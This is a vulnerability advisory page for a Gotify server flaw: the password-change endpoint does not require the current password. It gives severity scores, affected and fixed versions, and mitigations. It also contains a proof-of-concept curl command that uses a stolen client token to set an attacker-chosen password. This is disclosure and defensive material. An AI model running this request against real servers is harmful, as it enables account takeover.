All vulnerabilities
CVE-2026-102603GHSA-3hcj-9m7p-wwm9GO-2026-6772

github.com/gotify/server/v2: Gotify: Insufficiently Protected Password Change endpoint

gotify github.com/gotify/server/v2goLibraries & packages
Open in ThreatlineRecord JSON
CVSS
5.3Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)0.34%Chance of exploitation activity in the next 30 days, higher than 25% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in3.0.0Fixed versionGitHub
Published13 Oct 2026Updated 19 Oct 2026CVE List

What fixes it

  • 3.0.0github.com/gotify/server/v3, goGitHubgo get github.com/gotify/server/v3@v3.0.0
  • 3.0.0github.com/gotify/server/v3, GoOSVgo get github.com/gotify/server/v3@v3.0.0

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.

PoC

# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"

curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OK

Mitigation

  • Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
  • Restrict access to the state-changing endpoints under /user and /current/user to trusted networks.

Text from GitHub Advisory Database

Affected versions 5

  • github.com/gotify/server/v2, go<= 2.9.1GitHub
  • github.com/gotify/server/v3, go< 3.0.0GitHub
  • serveraffected: < 3.0.0CVE List
  • github.com/gotify/server/v2, Gofrom first release, through 2.9.1OSV
  • github.com/gotify/server/v3, Gofrom first release, fixed in 3.0.0OSV

References 6